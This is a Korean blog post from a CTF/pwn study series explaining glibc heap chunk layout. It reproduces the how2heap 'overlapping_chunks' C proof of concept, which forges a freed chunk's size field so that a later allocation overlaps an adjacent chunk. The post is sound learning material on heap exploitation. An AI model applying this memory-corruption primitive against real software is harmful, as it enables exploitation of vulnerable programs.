[how2heap] overlapping_chunks

2025. 5. 22. 19:57·Pwn/how2heap

heap Chunk 란?

header 포함한 영역 + malloc()으로 할당 받는 영역

  • header (prev_size + size)
    • prev_size : 이전 청크의 크기로 크기가 128bit 이상인 chunk가 free될 때, 다음 청크 prev_size가 세팅
      • fastbin을 free할 땐 항상 0으로 유지, PREV_INUSE bit가 0이 되어야만 세팅
      • 근데 실제로 돌려보니까 최신 우분투 버전에서는 8bytes만 header로 저장한다.
        • (prev_size, FD,BK에 대한 정보가 저장되지않음을 확인할 수 있다.)
    • size : 현재 청크의 크기로 하위 3bit는 flag로 쓰인다.
      • PREV_INUSE(0x1) : 이전 chunk가 사용중 또는 fastbin일 때 설정되는 플래그
      • IS_MMAPPED(0x2) : mmap() 함수로 할당된 chunk일 때 설정되는 플래그
      • NON_MAIN_ARENA(0x4) : 멀티 쓰레드 환경에서 main이 아닐 때 생성되는 플래그
힙 영역은 무조건 32bit에선 8byte단위, 64bit에선 16byte 단위로 할당
8과 16의 배수를 2진수로 변경하면 하위3bit는 사용을 안하니, flag로 사용한다.
  • data
    • 32bit에서는 8byte의 배수로 할당
    • 64bit에서는 16byte의 배수로 할당
    • ex) malloc(1) -> Data영역이 총 16bytes 만큼 할당이된다.

따라서, 크기를 재 할당할 때 크기부분에 1을 추가해야한다.

 

Allocated Chunk

사용 중인 청크

prev_size + size + data

Freed Chunk

free된 청크

prev_size + size + data(FD + BK + ..)

  • FD : 다음 청크 가리키는 포인터
  • BK : 이전 청크 가리키는 포인터

Top Chunk

힙 영역의 마지막에 위치하는 할당되지 않은 영역

재사용 가능한 chunk가 없을 때 할당요청이 들어오면 해당 부분을 분리하여 반환해준다.

top chunk와 인접한 청크가 free되면 병합된다.

Top Chunk 부분

 


/*

 A simple tale of overlapping chunk.
 This technique is taken from
 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

int main(int argc , char* argv[])
{
	setbuf(stdout, NULL);

	long *p1,*p2,*p3,*p4;
	printf("\nThis is another simple chunks overlapping problem\n");
	printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n"
		   "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n"
		   "and the prev_size of it must match the unsortedbin's size\n"
		   "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n");

	printf("Let's start to allocate 4 chunks on the heap\n");

	p1 = malloc(0x80 - 8);
	p2 = malloc(0x500 - 8);
	p3 = malloc(0x80 - 8);

	printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

	memset(p1, '1', 0x80 - 8);
	memset(p2, '2', 0x500 - 8);
	memset(p3, '3', 0x80 - 8);

	printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
	int evil_chunk_size = 0x581;
	int evil_region_size = 0x580 - 8;
	printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
		 evil_chunk_size, evil_region_size);

	/* VULNERABILITY */
	*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
	/* VULNERABILITY */

	printf("\nNow let's free the chunk p2\n");
	free(p2);
	printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

	printf("\nNow let's allocate another chunk with a size equal to the data\n"
	       "size of the chunk p2 injected size\n");
	printf("This malloc will be served from the previously freed chunk that\n"
	       "is parked in the unsorted bin which size has been modified by us\n");
	p4 = malloc(evil_region_size);

	printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
	printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8);
	printf("p4 should overlap with p3, in this case p4 includes all p3.\n");

	printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
		   " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

	printf("Let's run through an example. Right now, we have:\n");
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
	memset(p4, '4', evil_region_size);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
	memset(p3, '3', 80);
	printf("p4 = %s\n", (char *)p4);
	printf("p3 = %s\n", (char *)p3);

	assert(strstr((char *)p4, (char *)p3));
}

 

64bit이므로 malloc(0x78)을 할당하면, header부분 8byte를 포함하여 80 size의 청크가 할당된다.

81인 이유는 하위 3bit에 flag값이 들어가기 때문에 flag 1을 설정해줬다는 것을 의미한다!

 

위와같이 p2에서 -1위치에 존재하는 [원하는size]+1 로 바꿔주면, 컴퓨터는 해당 청크의 크기를 [원하는size]로 인식하게된다.

p2부분을 free하여 freed chunk로 만들어주고, 정확히 기존 크기(header 크기제외하고.. 어차피 알아서 +8 해줌)만큼 malloc을 하게되면, 같은위치에 chunk를 할당하게 되고 p3부분까지 덮을 수 있게 된다.

'Pwn > how2heap' 카테고리의 다른 글

[how2heap] tcache poisoning  (0) 2025.07.02
'Pwn/how2heap' 카테고리의 다른 글
  • [how2heap] tcache poisoning
tistraw0454
tistraw0454
tistraw0454 님의 블로그 입니다.
  • tistraw0454
    tistraw0454 님의 블로그
    tistraw0454
  • 전체
    오늘
    어제
    • 분류 전체보기 (63)
      • Rev (29)
      • Pwn (11)
        • how2heap (2)
      • WHS (4)
      • CSE (15)
        • 정보보안 (2)
        • 인공지능보안 (0)
        • 자료구조 (7)
        • Java (6)
      • SQLD (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

    • github
  • 공지사항

  • 인기 글

  • 태그

    __libc_start_main()
    ELF
    VMware Workstation
    rop
    gadget
    whitehat school
    windows
    movaps
    vkd
    rtld
    PWN
    windbg
    WHS
    serial port
    Debug
    __libc_start_main
    시스템해킹
    windows kernel
    가젯
    _start
    VirtualKD
    plt
    Got
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
tistraw0454
[how2heap] overlapping_chunks
상단으로

티스토리툴바